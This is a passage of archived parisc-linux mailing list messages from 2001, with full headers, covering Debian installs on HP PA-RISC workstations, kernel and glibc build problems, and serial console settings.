X-X-Sender: <andersop@bob.ncssm.edu>
In-Reply-To: <20011113182825.A20911@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13026

Hi!

I've been following this list for a while ever since my school handed me 5
735's, some "Series 700's" and three 712's. I asked around and decided to
try to install pa-risc linux on the 712's as they "have better support".
So, I'm sitting here with the machine running. There's a SCSI cd-rw on the
SCSI-2 port. The machine is a 712/80i with 1 GB disk and 64MB ram, also an
internal floppy.

I have a copy of pa-risc linux, the ~134MB 0.9.2 ISO file, on a CD. It
will boot, and all's fine in the debian installation until the "Configure
Device Driver Modules" step.  When I do this, it claims,

"No modules were found in /target/lib/modules/2.4.0-32 that could be
configured. Please install the kernel modules first, bu running the
"Configure Device Driver Modules" step"

I take it you can see my quandrary.

Does anyone know what to do? I've heard a serial install works better,
what does that entail? Also, I believe that this is a 64 bit machine, am I
right?

With the serial install, I have a VT 420 on the serial port. I tried
booting a copy of the parisc 64 bit serial ISO but it didn't work...

I know the CDrom is good too because I can install HPUX 10.20 off CD from
that same drive, on the same computer.

Thanks,

-phil


-- 
===============================================================================

Phil Anderson
UNIX Systems Admin
andersop@neverland.ncssm.edu
The_13th_Ewok@hotmail.com

"Go CRAZY? Don't mind if I do! Woowoowoowoo!" -Homer Simpson




From - Thu Nov 08 21:20:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] First Time Install on 712/80i
Date: Tue, 13 Nov 2001 21:29:31 +0000
Lines: 21
Approved: news@gmane.org
Message-ID: <20011113212931.C20911@parcelfarce.linux.theplanet.co.uk>
References: <20011113182825.A20911@parcelfarce.linux.theplanet.co.uk> <Pine.LNX.4.33.0111131610080.9967-100000@bob.ncssm.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620746 29863 80.91.229.3 (22 Nov 2014 01:45:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:46 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Phil Anderson <andersop@neverland.ncssm.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 13 14:29:39 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 33BC4482C
	for <parisc-linux@parisc-linux.org>; Tue, 13 Nov 2001 14:29:38 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 163l7b-0001Ah-00; Tue, 13 Nov 2001 21:29:31 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.LNX.4.33.0111131610080.9967-100000@bob.ncssm.edu>; from andersop@neverland.ncssm.edu on Tue, Nov 13, 2001 at 04:18:49PM -0500
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13027

On Tue, Nov 13, 2001 at 04:18:49PM -0500, Phil Anderson wrote:
> I have a copy of pa-risc linux, the ~134MB 0.9.2 ISO file, on a CD. It
> will boot, and all's fine in the debian installation until the "Configure
> Device Driver Modules" step.  When I do this, it claims,
> 
> "No modules were found in /target/lib/modules/2.4.0-32 that could be
> configured. Please install the kernel modules first, bu running the
> "Configure Device Driver Modules" step"

that's fine.  all the drivers you need are built into the kernel.

> Does anyone know what to do? I've heard a serial install works better,
> what does that entail? Also, I believe that this is a 64 bit machine, am I
> right?

No, all the machines you have mentioned are 32-bit machines.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:20:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] First Time Install on 712/80i
Date: Tue, 13 Nov 2001 14:27:20 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <200111132127.OAA01230@puffin.external.hp.com>
References: <andersop@bob.ncssm.edu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620747 29865 80.91.229.3 (22 Nov 2014 01:45:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:47 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Phil Anderson <andersop@bob.ncssm.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 13 14:31:56 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id DCD5F482C
	for <parisc-linux@parisc-linux.org>; Tue, 13 Nov 2001 14:31:56 -0700 (MST)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id OAA01230;
	Tue, 13 Nov 2001 14:27:20 -0700
In-Reply-To: Message from Phil Anderson <andersop@bob.ncssm.edu> 
   of "Tue, 13 Nov 2001 16:18:49 EST." <Pine.LNX.4.33.0111131610080.9967-100000@bob.ncssm.edu> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13028

Phil Anderson wrote:
> "No modules were found in /target/lib/modules/2.4.0-32 that could be
> configured. Please install the kernel modules first, bu running the
> "Configure Device Driver Modules" step"

BTW, this is a bug in the installer. It should say
"Install Kernel Modules" or something like that instead.

...
> Also, I believe that this is a 64 bit machine, am I right?

Sorry - no.
Please install the 32 bit kernel bits and that msg will go away.

grant



From - Thu Nov 08 21:20:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] to swap or not to swap
Date: Tue, 13 Nov 2001 22:51:54 +0000 (GMT)
Lines: 13
Approved: news@gmane.org
Message-ID: <E163mPK-0002an-00@the-village.bc.nu>
References: <20011113114247.G3053@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620747 29869 80.91.229.3 (22 Nov 2014 01:45:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:47 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: randolph@tausq.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 13 15:44:56 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from the-village.bc.nu (lightning.swansea.linux.org.uk [194.168.151.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 50F6B482C
	for <parisc-linux@parisc-linux.org>; Tue, 13 Nov 2001 15:44:56 -0700 (MST)
Original-Received: from alan by the-village.bc.nu with local (Exim 3.22 #1)
	id 163mPK-0002an-00; Tue, 13 Nov 2001 22:51:54 +0000
In-Reply-To: <20011113114247.G3053@tausq.org> from "Randolph Chung" at Nov 13, 2001 11:42:48 AM
X-Mailer: ELM [version 2.5 PL6]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13029

> Grant also seems to be of the opinion that cpu data needs to be swapped
> before written to PCI devices... so does that mean that if i wrote
> something like:
> 
> writew(cpu_to_le16(foo), addr)
> 
> then on things like parisc it gets swapped once, and on things like
> sparc it gets swapped twice?

Constant swaps get optimised out by the compiler in theory though.




From - Thu Nov 08 21:20:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <amodra@bigpond.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Deb's broken ?
Date: Wed, 14 Nov 2001 10:44:27 +1030
Lines: 19
Approved: news@gmane.org
Message-ID: <20011114104427.A6922@bubble.sa.bigpond.net.au>
References: <20011113181352.B382@hp.is> <20011113193330.D12388@lug-owl.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620747 29872 80.91.229.3 (22 Nov 2014 01:45:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:47 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 13 17:14:38 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mta06ps.bigpond.com (mta06ps.bigpond.com [144.135.25.138])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8ECDF482C
	for <parisc-linux@parisc-linux.org>; Tue, 13 Nov 2001 17:14:36 -0700 (MST)
Original-Received: from bubble.local ([144.135.25.75]) by
          mta06ps.bigpond.com (Netscape Messaging Server 4.15) with SMTP
          id GMRKZ900.40J for <parisc-linux@parisc-linux.org>; Wed, 14 Nov
          2001 10:21:09 +1000 
Original-Received: from 144.136.176.14 ([144.136.176.14]) by PSMAM03.mailsvc.email.bigpond.com(MailRouter V2.9k 8398/2417660); 14 Nov 2001 10:14:27
Original-Received: (qmail 7925 invoked by uid 179); 14 Nov 2001 00:14:27 -0000
Mail-Followup-To: Jan-Benedict Glaw <jbglaw@lug-owl.de>,
	parisc-linux@parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.3.17i
In-Reply-To: <20011113193330.D12388@lug-owl.de>; from jbglaw@lug-owl.de on Tue, Nov 13, 2001 at 07:33:30PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13030

On Tue, Nov 13, 2001 at 07:33:30PM +0100, Jan-Benedict Glaw wrote:
> I've tried to natively build 2.2.4-4 on a 712/60 with gcc-3.0. It
> breaks in ./glibc-2.2.4/sysdeps/hppa/dl-machine.h at line 534:
> 
>     533       /* .eh_frame can have unaligned relocs.  */
> --> 534       if (reloc_addr & 3)
>     535         {
>     536           char *rel_addr = (char *) reloc_addr;

My dl-machine.h has

      if ((unsigned long) reloc_addr & 3)

I guess you are trying to use an old buggy glibc.

Alan




From - Thu Nov 08 21:20:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Craig D. Lansing" <lansing@beldar.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problems of instaling (booting) on a 715/75
Date: Tue, 13 Nov 2001 20:12:43 -0500
Lines: 37
Approved: news@gmane.org
Message-ID: <006901c16ca9$78c16e60$0101a8c0@pogo>
References: <2451.011113@nikom.tagil.ru> <3BF0C5D6.2040205@verizon.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="koi8-r"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620747 29873 80.91.229.3 (22 Nov 2014 01:45:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:47 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: <raffo@neuronet.pitt.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 13 18:02:26 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beldar.com (ns.beldar.com [65.163.106.5])
	by dsl2.external.hp.com (Postfix) with ESMTP id 198F9482C
	for <parisc-linux@lists.parisc-linux.org>; Tue, 13 Nov 2001 18:02:25 -0700 (MST)
Original-Received: from pogo (dhcp-148.beldar.com [65.163.106.148])
	by beldar.com (8.9.3/8.9.3) with SMTP id UAA15259;
	Tue, 13 Nov 2001 20:18:01 -0500 (EST)
	(envelope-from lansing@beldar.com)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13031

I'll try this with my J also to see what happens.  Unfortunately, despite
all the "junk" I brought home, the 700/92 has no keyboard (duh) and I could
not scrounge one today.  Oh well, back to the trash tomorrow.  BTW, if I can
scrounge a DB9<-->DB9 can I use a Reflection connection on my laptop as a
console?  I assume 9600/8/none/1 would be a good place to start?


----- Original Message -----
From: Rafael Herrera <vze26vn8@verizon.net>
Cc: <parisc-linux@lists.parisc-linux.org>
Sent: Tuesday, November 13, 2001 2:03 AM
Subject: Re: [parisc-linux] Problems of instaling (booting) on a 715/75


> I'd suggest you boot the cd image (palinux-0.9.2.iso) using the serial
> console. I have the same system and the STI console does not work with
> that cd.
>
> As soon as you have a minimal system running, switch the kernel image in
> /boot for this one:
>
> ftp://ftp.parisc-linux.org/kernels/vmlinux-32-20011008
>
> Edit the /etc/palo.conf accordingly, re-run palo and reboot. I
> experienced scsi problems with the kernel in the cd image.
> --
>       Rafael
>
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>




From - Thu Nov 08 21:20:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Update: Current kernel from CVS does not build
Date: Wed, 14 Nov 2001 02:03:07 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <20011114010355.50AD5482C@dsl2.external.hp.com>
References: <200111121634.JAA24960@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620748 29875 80.91.229.3 (22 Nov 2014 01:45:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:48 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 13 18:03:56 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 50AD5482C
	for <parisc-linux@lists.parisc-linux.org>; Tue, 13 Nov 2001 18:03:55 -0700 (MST)
Original-Received: (qmail 15413 invoked by uid 0); 14 Nov 2001 01:03:52 -0000
Original-Received: from pd90403e4.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.3.228)
  by mail.gmx.net (mp004-rz3) with SMTP; 14 Nov 2001 01:03:52 -0000
X-Mailer: KMail [version 1.3.6]
In-Reply-To: <200111121634.JAA24960@puffin.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13032

This is just an update on this issue....

32bit kernels from CVS head (>= 2.4.14-pa1) should now compile and
boot again. There still may be hidden issues (as always :-)),
but basically it will work.

Helge

On Monday 12 November 2001 17:34, Grant Grundler wrote:
> Rafael Herrera wrote:
> > I tried to update the sources with the latest CVS version, but the
> > compilation failed. The file */arch/parisc/kernel/pdc_cons.c and
> > */kernel/printk.c have a conflict. The variable log_size used in
> > pdc_cons.c is not defined in printk.c. The kernel does not build.
>
> The merge to 2.4.14 isn't finished yet.
> Despite working around the log_size issue, it still doesn't boot.
>
> Watch the parisc-linux-cvs mailing list for progress on this.
> We'll probably post an "It works" msg here too.
>
> grant




From - Thu Nov 08 21:20:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rafael Herrera <vze26vn8@verizon.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Update: Current kernel from CVS does not build
Date: Tue, 13 Nov 2001 20:52:51 -0500
Lines: 14
Approved: news@gmane.org
Message-ID: <3BF1CE73.40403@verizon.net>
References: <200111121634.JAA24960@puffin.external.hp.com> <20011114010355.50AD5482C@dsl2.external.hp.com>
Reply-To: raffo@neuronet.pitt.edu
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620748 29878 80.91.229.3 (22 Nov 2014 01:45:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 13 18:51:06 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp009pub.verizon.net (unknown [206.46.170.188])
	by dsl2.external.hp.com (Postfix) with ESMTP id 86C36482C
	for <parisc-linux@lists.parisc-linux.org>; Tue, 13 Nov 2001 18:51:05 -0700 (MST)
Original-Received: from verizon.net ([151.201.224.254])
	by smtp009pub.verizon.net  with ESMTP
	for <parisc-linux@lists.parisc-linux.org>; id fAE1pCk05794
	Tue, 13 Nov 2001 19:51:12 -0600 (CST)
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.5) Gecko/20011014
X-Accept-Language: en, es
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13033

Yes the kernel boots, I can see the boot messages, but the STI console 
still does not accept keyboard input at the login prompt at the end.

There is still an inconsistency between the pdc_con.c and printk.c 
files. pdc_cons.c uses the variables log_end and con_start, which are 
declared static in printk.c. Commenting out their use in pdc_con.c lets 
me finish the compilation, but as I said I can't type anything.

By the way, I can see the keyboard interrupts in /proc.
-- 
      Rafael




From - Thu Nov 08 21:20:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problems of instaling (booting) on a 715/75
Date: Tue, 13 Nov 2001 21:49:04 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <200111140449.VAA01946@puffin.external.hp.com>
References: <lansing@beldar.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620748 29881 80.91.229.3 (22 Nov 2014 01:45:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Craig D. Lansing" <lansing@beldar.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 13 21:53:44 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id D5A26482C
	for <parisc-linux@lists.parisc-linux.org>; Tue, 13 Nov 2001 21:53:44 -0700 (MST)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id VAA01946;
	Tue, 13 Nov 2001 21:49:04 -0700
In-Reply-To: Message from "Craig D. Lansing" <lansing@beldar.com> 
   of "Tue, 13 Nov 2001 20:12:43 EST." <006901c16ca9$78c16e60$0101a8c0@pogo> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13034

"Craig D. Lansing" wrote:
> BTW, if I can
> scrounge a DB9<-->DB9 can I use a Reflection connection on my laptop as a
> console?  I assume 9600/8/none/1 would be a good place to start?

Under linux, definitely. Try to find a real HP DB9-DB9 cable
as the only time I had seen problems was when someone used a cheapo
off-brand cable that didn't run all the lines.

9600-8N1 is correct default for all parisc machines that support
serial console.

If you have problems with this, check the mail archives first please.

grant



From - Thu Nov 08 21:20:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Strohmayer Peter Hans <peter-hans.strohmayer@sbs.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Installing Debian on a C180
Date: Wed, 14 Nov 2001 15:25:22 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <C10F60785AE7D211B6E00800060DA391028782A5@vieg128a.gud.siemens.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416620749 29885 80.91.229.3 (22 Nov 2014 01:45:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:49 +0000 (UTC)
To: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 14 07:35:09 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from eins.siemens.at (eins.siemens.at [193.81.246.11])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3A5B9482C
	for <parisc-linux@lists.parisc-linux.org>; Wed, 14 Nov 2001 07:35:07 -0700 (MST)
Original-Received: from scesie13.sie.siemens.at (forix [10.1.140.2])
	by eins.siemens.at  with ESMTP id fAEEZ5T05569
	for <parisc-linux@lists.parisc-linux.org>; Wed, 14 Nov 2001 15:35:05 +0100
Original-Received: (from smap@localhost)
	by scesie13.sie.siemens.at (8.9.3/8.9.3) id PAA03567
	for <parisc-linux@lists.parisc-linux.org>; Wed, 14 Nov 2001 15:35:04 +0100 (MET)
Original-Received: from atws15tc.sie.siemens.at(158.226.135.41) by scesie13 via smap (V2.0beta)
